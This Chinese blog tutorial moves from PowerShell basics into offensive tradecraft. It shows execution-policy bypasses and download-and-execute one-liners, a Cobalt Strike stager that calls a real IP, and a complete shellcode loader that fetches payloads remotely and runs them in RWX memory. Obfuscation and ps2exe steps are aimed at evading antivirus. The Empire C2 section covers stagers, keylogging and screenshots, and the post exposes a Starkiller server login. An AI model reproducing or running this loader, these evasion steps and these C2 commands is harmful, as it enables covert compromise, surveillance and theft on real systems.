05.Powershell 渗透框架
本文最后更新于500 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com

一、Powershell 基础

1.Powershell 简介

1)Windows PowerShell介绍

  • Windows PowerShell 是由 Microsoft 开发的==命令行 Shell 和脚本语言==,它基于 .NET 框架,专为系 统管理和配置任务设计。
  • PowerShell 结合了传统的命令提示符(CMD)功能,并引入了新的 cmdlet 来增强系统管理能力。
  • 它被广泛应用于自动化任务,包括但不限于系统管理、配置管理和安全审计。
  • Windows PowerShell 中的命令称为 cmdlet,发音为“ command-lets”,其中每个 cmdlet 代表特定的功能或基于任务的脚本。
  • Powershell 默认安装在 Windows 7 及以后的系统上。
  • 命令格式:动词-名词 如:get-help
  • 命令参数可写一部分,只要这部分是唯一标识该参数即可,如-File 可写成-f、-fi

2)启动 Windows PowerShell

  • 当前用户运行 Powershell: Win + s 打开搜索栏,搜索 PowerShell,左键点击 PowerShell 窗口将打开。
  • 管理员运行 PowerShell: Win + s 打开搜索栏,搜索 PowerShell,右键点击并选择 以管理员身份运行。
  • 自己设置以管理员运行配置文件,在终端中打开
    QQ_1738399189641.png

3)PowerShell 与 Cmd 的区别

特性 PowerShell Cmd命令提示符
基础架 构 基于.NET Framework的命令行界面和脚本语言 Windows操作系统的默认命令行解释器
命令解 释 支持批处理和 PowerShell 命令 仅支持批处理命令
用途 自动化Windows服务器和操作系统的管理任务 控制台命令执行,问题调试
输出类 型 对象集合 字符流 (文本)
环境 Shell程序和脚本环境,支持复杂脚本 Shell系统,执行简单脚本

4)Windows PowerShell ISE

  • PowerShell 的图形界面编辑器,提供了脚本编写、测试和调试的集成环境。
  • ISE 支持高级编辑功能,如语法高亮、代码补全、多文档编辑和调试工具。

ISE 的三个主要窗格包括:

  • 脚本窗格:用于创建和执行 PowerShell 脚本。
  • 输出窗格:显示脚本执行结果和命令输出,支持内容清除和复制。
  • 命令窗格:允许用户输入和执行单行或多行命令。
    QQ_1738400895099.png

2.创建并运行脚本

1)创建脚本

  • 文本编辑器创建脚本
    打开任意文本编辑器,写入测试脚本内容:
echo "Hello world!!!"

保存文件名为 test.ps1

  • ISE 集成环境创建脚本
    打开 Windows PowerShell ISE,新建一个空文件,写入要执行的脚本内容,保存文件名为 test.ps1
    菜单栏点击运行,或快捷键 F5 运行脚本

2)执行脚本

  1. 加载执行本地脚本
powershell -f test.ps1
  1. 加载执行远程脚本
powershell -c "Invoke-Expression (New-Object System.Net.WebClient).DownloadString('https://pastebin.com/raw/M676F14U')"
  • Command:使用 -c 指定在 powershell 中执行的命令
  • Invoke-Expression:IEX 用来把字符串当作命令执行
  • WebClient 类 (System.Net):用于与Web服务器交互,具备下载数据、上传数据及发送HTTP请求等功能
  • WebClient.DownloadString 方法:以 String 形式下载请求的资源。可以以包含 URI 的 String 或 URI 的形式指定要下载的资源。
powershell -c "Invoke-RestMethod -Uri 'https://pastebin.com/raw/M676F14U' | iex"

powershell -c "iex (Invoke-RestMethod -Uri 'https://pastebin.com/raw/M676F14U')"

Invoke-RestMethod :将 HTTP 或 HTTPS 请求发送到 RESTful Web 服务。

3.脚本执行策略

执行策略是 PowerShell 安全特性的一部分,用于确定在系统上允许执行哪些脚本。
在计算机系统中启动 PowerShell 时,默认执行策略不允许我们执行或运行脚本。

  • 查看当前执行策略
Get-ExecutionPolicy
  • 获取影响当前会话的所有执行策略,并按优先顺序显示它们
Get-ExecutionPolicy -List
  • 将执行策略设置为 Bypass
Set-ExecutionPolicy Bypass
  • PowerShell 中可以设置以下类型的执行策略
策略名称 安全说明 适用场景
AllSigned 此策略要求所有脚本和配置文件都必须由受信 任的发布者进行数字签名。 高安全要求环境,确保所有脚本都经过验证。
Bypass 此策略允许执行未签名的脚本,不进行任何安全检查。 测试环境或已知安全的脚本执 行。
Default 此策略根据操作系统类型应用默认的安全级别。 常规使用,符合操作系统的安全默认设置。
RemoteSigned 此策略要求通过网络下载的脚本必须有有效的数字签名。 防止未经验证的远程脚本执行。
Restricted 此策略禁止执行所有脚本,包括本地和远程脚本。 严格控制脚本执行,降低恶意软件风险。
Undefined 此策略表示未明确设置执行策略,将继承父级策略或使用默认策略。 通常不推荐,除非在明确了解继承策略的情下。
Unrestricted 此策略允许执行所有未签名的脚本,包括本地和远程脚本。 仅在完全受控和安全的环境中使角。
  • 设置 CurrentUser 作用域执行策略为 Restricted
Set-ExecutionPolicy Restricted -Scope CurrentUser

4.绕过执行策略

  • 本地读取然后通过管道符运行
powershell get-content 1.ps1 | powershell -noprofile -

QQ_1738412110320.png

  • 远程下载并通过 IEX 运行脚本
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://xxx.xxx.xxx/1.ps1')"

QQ_1738412084153.png

QQ_1738412628919.png

  • Bypass 执行策略绕过
powershell -executionpolicy bypass -File ./1.ps1

QQ_1738412035715.png

QQ_1738412716052.png

  • Unrestricted 执行策略
powershell -executionpolicy unrestricted -File ./1.ps1

QQ_1738412148514.png

5.PowerShell 注释

单行注释

# 单行注释.............
# 单行
# 单行

多行注释

<# 多行注释.........  
多行注释.........  
多行注释............#>

6.PowerShell Cmdlet

1)概述

Cmdlet(发音为 “command-lets”)是 PowerShell 的核心命令单元,它们是轻量级的 .NET 类实例,专门设计用于实现特定的功能。 Cmdlet 遵循 PowerShell 的“动词-名词”命名约定,例如Get-Process。

2)特点

  • 可扩展性:Cmdlet 可以用任何 .NET 支持的语言编写,包括 PowerShell 本身。
  • 管道友好:Cmdlet 设计用于与管道一起工作,允许用户将一个 Cmdlet 的输出直接传递给另一个 Cmdlet。
  • 参数化:Cmdlet 拥有丰富的参数集,可以通过命令行或配置文件进行配置。

3)列出所有可用 Cmdlet

Get-Command -CommandType Cmdlet

7.常用 Cmdlet 命令

  • 获取 PowerShell 版本信息
$PSVersionTable

Get-Host
  • 查看当前环境变量
Get-ChildItem env:

gci env:
ls env:
dir env:
  • 启动指定程序
Start-Process calc.exe

saps calc.exe
start calc.exe
  • 获取指定进程信息
Get-Process explorer

gps explorer
ps explorer
  • 获取文件信息
Get-Item 1.txt

gi 1.txt
  • 复制文件
Copy-Item 1.txt 2.txt

cpi 1.txt 2.txt
cp 1.txt 2.txt
copy 1.txt 2.txt
  • 移动文件
Move-Item 1.txt 2.txt

mi 1.txt 2.txt
mv 1.txt 2.txt
move 1.txt 2.txt
  • 获取指定服务信息
Get-Service -Name EventLog
  • 获取文件 Hash
Get-FileHash -Algorithm SHA1 1.txt

Get-FileHash -Algorithm MD5 1.txt
  • 获取文件内容
Get-Content 1.txt

gc 1.txt
cat 1.txt
type 1.txt
  • 设置文本内容
Set-Content 1.txt -Value "hello, word"

sc 1.txt -Value "hello, word"
  • 删除文件的内容,但不删除该文件
Clear-Content 1.txt
  • 获取当前目录
Get-Location

gl
pwd
  • 查看别名
Get-Alias -name dir

8.基本语法

  • 管道符 | :将一个命令的输出作为另一个命令的输入
  • 分号 ; :用来连续执行多个系统命令
  • 调用操作符 & :允许你执行命令,脚本或函数
  • 单引号 ‘ : 用于表示字符串字面量
  • 双引号 ” : 用于表示需要解析变量的字符串。
  • 输出单引号: Write-Host “”””
  • 输出双引号: Write-Host ””
  • 重定向操作符:
>   :将输出保存到指定文件中(用法:Get-Process > output.txt)
>>  :将脚本的输出追加到指定文件中(用法:test.ps1 >> output.txt)
2>  :将错误输出到指定文件中(用法:Get-Porcess none 2> Errors.txt)
2>> :将错误追加到指定文件中(用法:Get-Process none 2>> Errors.txt)
  • 比较和逻辑运算符
-eq : 等于运算符(用法:$var1 –eq $var2,返回真或假)
-gt : 大于运算符(用法:$var1 –gt $var2,返回真或假)
-match   : 匹配运算符,搜索字符串是否在文中出现(用法:$Text –match $string,返回真或假)
-replace : 替换字符串(用法:$Text –replace 被替换的字符,替换的字符,返回真或假)
-in      : 测试一个字符或数字是否出现在文本中或列表中,声明列表直接使用
  • 变量:以 $ 开头,用于存储数据
$w = "hello world"   # 变量赋值
$w                   # 访问变量
  • 数组:使用逗号分隔的值列表,或使用 @() 创建
$a = 'value1','value2','value3'   # 创建数组
$a[0]        # 访问数组第一个元素

$a = @()                   # 创建空数组
$a = 1,'two',(get-date)    # 把数据放入数组
  • 条件语句:使用 if 进行条件判断
if($var {comparison_statement} $var2) {What_To_Do}
else {what_to_if_not}
  • 循环语句:使用 while、do、for 实现循环\
while() {}
Do {} While()
For(;;;) {}

二、Cmd 启动 Powershell

1.常规方法

cmd.exe /c "powershell -c Write-Host SUCCESS -Fore Green"

cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell -nop -"

NoProfile:使用 -NoP 避免加载用户配置文件,减少配置错误或安全风险。

2.管道输入流

cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell IEX $input"

cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell -nop -"

3.使用环境变量

cmd.exe /c "set cmd=Write-Host SUCCESS -Fore Green && powershell IEX $env:cmd"

cmd.exe /c "set cmd=Write-Host SUCCESS -Fore Green && cmd /c echo %cmd% | powershell -"

cmd.exe /c "set cmd=Write-Host SUCCESS -Fore Green && powershell IEX ([Environment]::GetEnvironmentVariable('cmd', 'Process'));"

cmd.exe /c "set cmd=Write-Host SUCCESS -Fore Green && powershell IEX ((Get-ChildItem env:cmd).Value)"

4.从粘贴板执行

cmd.exe /c "echo Write-Host SUCCESS -Fore Green | clip && powershell [void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms'); IEX ([System.Windows.Forms.Clipboard]::GetText())"

5.bat 脚本执行

@echo off
powershell -c Write-Host SUCCESS -Fore Green
pause
  • @echo off:关闭命令回显,使得批处理执行时不会显示这些命令本身
  • pause:暂停批处理脚本的执行,显示 “Press any key to continue . . .”,这允许用户在退出批处理 脚本之前查看输出结果

三、Powershell 加载器

在 cobaltstrike 中,我们经常会使用 powershell 远程加载上线,下面来大概分析下其基本原理。

1.CS 生成 Powershell 代码

Attack > Scripted Web Delivery

QQ_1738454785496.png

QQ_1738455204498.png

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://120.79.150.243:8000/a'))"

QQ_1738556913910.png

  • Command:使用 -c 指定在 powershell 中执行的命令
  • Invoke-Expression:IEX 用来把字符串当作命令执行
  • NoProfile:使用 -NoP 避免加载用户配置文件,减少配置错误或安全风险。
  • WindowStyle Hidden:使用 -w Hidden 隐藏执行窗口,适用于无界面的自动化任务。
  • NonInteractive:使用 -NonI 以非交互模式运行脚本,避免用户交互。
  • NoExit:使用 -Noe 执行脚本后不退出 PowerShell 会话。
  • EncodedCommand:使用 -enc 传递 Base64 编码的命令,避免解析问题。
  • WebClient 类 (System.Net):提供用于将数据发送到由 URI 标识的资源以及从这样的资源接收数据 的常用方法。
  • WebClient.DownloadString 方法:以 String 形式下载请求的资源。可以以包含 URI 的 String 或 URI 的形式指定要下载的资源。

2.获取远程加载代码

1)访问 url 链接即可获得如下代码

$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("...base64加密字符串..."));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();

2)代码解释

$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("...base64加密字符串..."))
  • 这行代码创建了一个新的 MemoryStream 对象 $s。
  • 第一个参数留空,表示使用默认的构造函数。
  • 第二个参数使用 Convert::FromBase64String 方法将 Base64 编码的字符串解码为字节数组。这里的 Base64 字符串代表了一个压缩过的 Gzip 数据流。
IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();
  • New-Object IO.StreamReader 创建了一个新的 StreamReader 对象,它用于读取文本数据。
  • New-Object IO.Compression.GzipStream($s, [IO.Compression.CompressionMode]::Decompress) 创建了一个新的 GzipStream 对象,它将 MemoryStream $s 中的数据进行解压缩。
  • StreamReader 对象使用 GzipStream 作为其底层流,以读取解压缩的数据。
  • ReadToEnd() 方法从流中读取所有文本,直到末尾。
  • IEX 是 Invoke-Expression 的别名,它执行作为字符串输入的 PowerShell 代码或命令。
MemoryStream 类:位于System.IO命名空间,为系统内存提供流式的读写操作。常作为其他流数据交换时的中间对象操作。

StreamReader类:位于System.IO命名空间,实现一个可读取有序字符系列的读取器,使其以一种特定的编码从字节流中读取字符。

GZipStream类:位于System.IO.Compression命名空间,使用 GZip 数据格式规范提供用于压缩和解压缩流的方法和属性。

GZipStream(Stream, CompressionMode):用指定的流和压缩模式初始化 GZipStream 类的新实例。

[IO.Compression.CompressionMode]::Decompress:指定为解压缩模式

StreamReader.ReadToEnd() 方法:读取来自流的当前位置到结尾的所有字符

总结:

  • 将 Base64 编码的 Gzip 压缩数据解码并解压缩。
  • 读取解压缩后的数据作为文本。
  • 使用 Invoke-Expression 执行该文本作为 PowerShell 脚本或命令。

3.获取加密字符串源码

  1. 把 IEX 更改为 echo,保存为 b.ps1
$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("......"));echo (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();
  1. 执行 b.ps1 脚本,把输出重定向到 b.txt 文件
powershell -ep bypass -f b.ps1 > b.txt
  1. 获得加密字符串的源码
# 启用严格模式,以避免在脚本中使用未初始化的变量。
Set-StrictMode -Version 2

# 定义了一个名为&nbsp;func_get_proc_address&nbsp;的函数,用于获取 DLL 中导出函数的地址
function func_get_proc_address {
    # 函数接收两个参数,$var_module表示要加载函数的DLL库名称,$var_procedure 表示要查找的函数名称。
    Param ($var_module, $var_procedure)

    # 通过GetAssemblies()方法获取当前应用程序域中已加载的所有程序集,然后使用Where-Object过滤出所有在全局程序集缓存中且名称为System.dll的程序集。
    # 从 System.dll 中加载 Microsoft.Win32.UnsafeNativeMethods 类
    # 使用GetType()方法从Microsoft.Win32.UnsafeNativeMethods类中获取一个表示GetProcAddress()方法的MethodInfo对象
    $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')

    # 使用GetType()方法从Microsoft.Win32.UnsafeNativeMethods类中获取一个表示GetProcAddress()方法的MethodInfo对象并获取 GetProcAddress 方法。
    $var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))

    # 然后通过调用该对象的Invoke()方法,获取函数地址。
    return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}

# 定义了一个名为&nbsp;func_get_delegate_type&nbsp;的函数,用于创建一个动态的委托类型
# 在 PowerShell 中创建委托,通常是为了与非托管代码(如 Win32 API 或其他 C/C++ 库)交互
# 这允许 PowerShell 脚本调用外部函数,就像它们是托管代码中的方法一样
# 这种技术在系统编程和脚本编写中非常有用,尤其是在需要直接访问操作系统服务或执行低级操作时。

function func_get_delegate_type {
    # 函数接收两个参数,$var_parameters 表示该委托类型所接受的参数为类型数组,是必需的参数。
    # $var_return_type 表示该委托类型的返回值类型。默认为 [Void]
    Param (
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
        [Parameter(Position = 1)] [Type] $var_return_type = [Void]
    )

    # 使用 .NET 的 Reflection.Emit 命名空间动态创建具有指定参数和返回类型的新委托类型。
    # 然后它为该委托类型定义一个构造函数和 Invoke 方法,并返回类型对象。
    $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
    $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')
    return $var_type_builder.CreateType()
}

# 通过比较 IntPtr 类型的大小是否为 8 字节,来判断系统是否为 64 位,因为接下来的代码是针对 64 位系统编写的
If ([IntPtr]::size -eq 8) {
    # 将 Base64 编码的字符串解码为字节数组
    [Byte[]]$var_code = [System.Convert]::FromBase64String('...base64 加密后的 payload...')

    # 对解码后的字节数组进行 XOR 运算(密钥为35)
    for ($x = 0; $x -lt $var_code.Count; $x++) {
        $var_code[$x] = $var_code[$x] -bxor 35
    }

    # 调用 Win32 API 获取函数指针
    # 使用&nbsp;func_get_proc_address&nbsp;获取&nbsp;kernel32.dll&nbsp;中&nbsp;VirtualAlloc&nbsp;函数的地址
    # 使用&nbsp;GetDelegateForFunctionPointer&nbsp;创建一个委托,该委托指向&nbsp;VirtualAlloc&nbsp;函数
    $var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))

    # 调用&nbsp;VirtualAlloc&nbsp;分配一块可执行内存,并获取这块内存的指针
    $var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)

    # 使用&nbsp;Marshal::Copy&nbsp;将解密后的 Shellcode 复制到之前分配的内存中。
    [System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)

    # 使用&nbsp;GetDelegateForFunctionPointer&nbsp;创建一个委托,该委托指向内存中的 Shellcode
    $var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))

    # 调用委托执行 Shellcode
    $var_runme.Invoke([IntPtr]::Zero)
}
  1. 将下面代码保存为b.ps1,执行即可生成new.bin
$enc=[System.Convert]::FromBase64String('...base64 加密后的 payload(cs生成的源码中加密的字符串)...')
for ($x = 0; $x -lt $enc.Count; $x++) {
    $enc[$x] = $enc[$x] -bxor 35
}

$infile = [System.IO.File]::WriteAllBytes("new.bin",$enc)
  1. 修改代码为读取new.bin文件内容到内存(此步不一定执行)
[Byte[]]$var_code = [System.IO.File]::ReadAllBytes('new.bin')

4.Powershell 加载器

1)修改后的 powershell 加载 shellcode 的加载器,保存为c.ps1

Set-StrictMode -Version 2

function func_get_delegate_type_new {
    Param (
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
        [Parameter(Position = 1)] [Type] $var_return_type = [Void]
    )
    $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
    $var_type_builder.DefineMethod('Inv'+'oke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')
    return $var_type_builder.CreateType()
}

function func_get_proc_address_new {
    Param ($var_module, $var_procedure)     
    $var_unsafe_native_methods = [AppDomain]::CurrentDomain.GetAssemblies()
    $var_unsafe_native_methods_news = ($var_unsafe_native_methods  | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $var_gpa = $var_unsafe_native_methods_news.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
    return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods_news.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}

If ([IntPtr]::size -eq 8) {
    [Byte[]]$acode = (New-Object Net.WebClient)."Down`l`oadData"($args[0])
    $var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address_new kernel32.dll VirtualAlloc), (func_get_delegate_type_new @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
    $var_buffer = $var_va.Invoke([IntPtr]::Zero, $acode.Length, 0x3000, 0x40)
    [System.Runtime.InteropServices.Marshal]::Copy($acode, 0, $var_buffer, $acode.length)
    $var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type_new @([IntPtr]) ([Void])))
    $var_runme.Invoke([IntPtr]::Zero)
}

2)通过接收本地或远程的 payload 实现加载器与 shellcode 分离

powershell -ep bypass -f c.ps1 new.bin
powershell -ep bypass -f c.ps1 http://8.218.144.193:8000/new.bin

在cmd中执行即可上线cs

5.加载器免杀

1)修改 c.ps1 (powershell加载器)脚本如下内容,并保存

[Byte[]]$acode = (New-Object Net.WebClient)."Down`l`oadData"('http://8.218.144.193:8000/new.bin')

QQ_1738593788774.png

2)Invoke-Obfuscation

  • 导入并加载模块
powershell -ep bypass

Import-Module .\Invoke-Obfuscation.psd1

Invoke-Obfuscation
  • 工具支持六种加密方式
加密方式 描述
TOKEN 将脚本转换为一个或多个PowerShell 解析器令牌的序列
AST 将脚本转换为抽象语法树
STRING 混淆脚本中的字符串,使得脚本的意图变得模糊不清
ENCONDING 将脚本转换为 ASCll、Unicode 或 Base64 编码
COMPRESS 将脚本压缩,使得脚本的大小变小,从而使得脚本的传输和存储更加方便
LAUNCHER 生成一个启动器,该启动器可以在目标系统上执行混淆后的脚本

加密加载器:

  1. 输入要加密的脚本路径
set scriptpath D:\shentou\shell\c.ps1

QQ_1738593305285.png

2. 输入 encoding,列出所有编码方式,选择 5,采用 AES 的方式对脚本进行加密
QQ_1738595317748.png

3. 输入 string,列出所有混淆字符串的方式,输入 2,串联后重新排列整个命令
QQ_1738595378243.png

4. 输出混淆过后的脚本内容

out d.ps1

QQ_1738595436986.png

5. 执行命令,上线cs

powershell -ep bypass -f d.ps1

QQ_1738595461118.png

QQ_1738595549737.png

3)通过 ps2exe 把 powershell 脚本转成 exe

  • 执行 ps2exe 脚本
powershell -ep bypass -c "& '.\ps2exe.ps1' -inputFile 'd.ps1' -outputFile 'd.exe'"

QQ_1738639313980.png

  • 直接生成可免杀,但是有控制台窗口,生成 noConsole 的 exe 会被杀。

四、Powershell工具框架-Empire

1.Empire 简介

Empire 是一个开源 PowerShell 渗透测试框架,它专为复杂的攻击场景和后渗透阶段设计。

  • 多平台支持:Empire 支持多种平台,使得它能够在不同的操作系统上执行任务和模块。
  • 无依赖性:Empire 能够在没有 PowerShell.exe 的环境中独立运行,通过使用 PowerShell 代码的反 射式加载来实现。
  • 模块化架构:它采用了模块化设计,便于添加新的攻击模块和功能。
  • 密码学强化:所有通信都使用 AES 加密来保护数据的机密性和完整性。
  • 隐蔽通信:Empire 设计了隐蔽的通信通道,以规避网络监控和检测。

2.Empire 安装

1)Kali(推荐)

Kali 自带 powershell-empire 可直接使用

powershell-empire

也可使用如下命令安装

sudo apt install powershell-empire

2)Docker(推荐)

使用脚本,自动化部署

3)Github(不推荐)

git clone --recursive https://github.com/BC-SECURITY/Empire.git
cd Empire
./setup/checkout-latest-tag.sh
./ps-empire install -y

3.Empire 启动

1)启动服务端

  1. Kali 中执行如下命令,自动安装配置并启动 Empire Server
powershell-empire server
  1. 成功启动服务端
    QQ_1738937936962.png

2)启动客户端

  1. Kali 中执行如下命令,默认连接 localhost 的 Empire 服务端
powershell-empire client

QQ_1738938014174.png

  1. 连接其他 Empire 实例
  • 修改配置文件 /etc/powershell-empire/client/config.yaml 的 servers 配置
  • 修改 another-one 的配置为远程主机上的 Empire 服务
    记得重启
    QQ_1738938595020.png
  • 连接远程 Empire 服务
powershell-empire client

disconnect

connect -c another-one

QQ_1738983445827.png

注意:如果出现以下情况,需要删除数据库

QQ_1738986923048.png

DROP DATABASE empire;
DROP USER 'empire_user'@'localhost';

Pasted image 20250208115751.png

4.Empire 命令选项

Empire安装,基本介绍,命令使用,监听(一)_empire的使用-CSDN博客

5.Empire 基本使用

1)添加 Listeners

listeners
uselistener http

QQ_1738984560253.png

help

QQ_1738984592775.png

execute: 创建当前侦听器 
generate: 创建当前侦听器 
info: 打印当前记录的默认信息 
options: 打印当前记录选项 
set: set  <key> <value>,为当前记录设置一个字段。如果设置文件,请提供-p 为文件选择对话框。
unset: unset  <key>,取消设置记录的选项
  • 设置监听器选项,并创建 Listener 监听器
(Empire: uselistener/http) > set Name test
(Empire: uselistener/http) > set Host http://192.168.81.229
(Empire: uselistener/http) > set Port 6001
(Empire: uselistener/http) > execute

QQ_1739004966341.png

注意:在vps上的docker开启的服务,监听端口为docker映射的端口,如下图的6000-6010

QQ_1739004666829.png

  • 查看当前 Listener 监听器选项
    Pasted image 20250208165731.png
  • 查看 Listener 监听器:
    Pasted image 20250208165905.png
  • 修改监听器选项:
    Pasted image 20250208170008.png
  • 删除监听器:
    Pasted image 20250208170046.png

2)生成 stager

stager 类型:

  • multi:通用类
  • osx:mac 平台下使用
  • windows:windows 平台下使用
usestager windows_launcher_bat
set Listener test
execute

Pasted image 20250208170408.png

3)获得 agents

  • 列出会话
agents

Pasted image 20250208170513.png

  • 进入会话
interact ZUGDA1Y3

Pasted image 20250208170611.png

  • info:显示 agent 信息
  • display:显示 agent 属性
display <property_name>
  • history:显示最近收到的任务结果数
history [<number_tasks>]
  • jobs:查看活动作业的列表
  • shell:指定 agent 执行 shell 命令的任务
  • sc:
    kali:
    agent 运行模块 powershell_collection_screenshot 任务。默认参数包括:Ratio:80 屏幕截图保存在在 /var/lib/powershell-empire/server/downloads/ 目录的以当前agent ID为 目录名的文件夹中的 keystrokes.txt 文件中

docker:
进入容器中:

docker exec -it ps-empire bash

找到/empire/empire/server/downloads/ZUGDA1Y3/Get-Screenshot目录下的图片文件

Pasted image 20250208171639.png

在vps上执行命令,即可复制文件到当前目录

docker cp ps-empire:/empire/empire/server/downloads/ZUGDA1Y3/Get-Screenshot/LAPTOP-QRDE6GOS_2025-02-08_08-34-38.jpg .

Pasted image 20250208171735.png

  • keylog:agent 运行模块 powershell_collection_keylogger 任务。默认参数包括:sleep:0 键盘记录记录在/var/lib/powershell-empire/server/downloads/ 目录的以当前 agent ID 为 目录名的文件夹中的 keystrokes.txt 文件中

五、Starkiller

登录

访问 http://120.79.150.243:4173/

url:http://120.79.150.243:1337
username:empireadmin
password:password123

Pasted image 20250208180305.png

登录成功

Pasted image 20250208180331.png

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇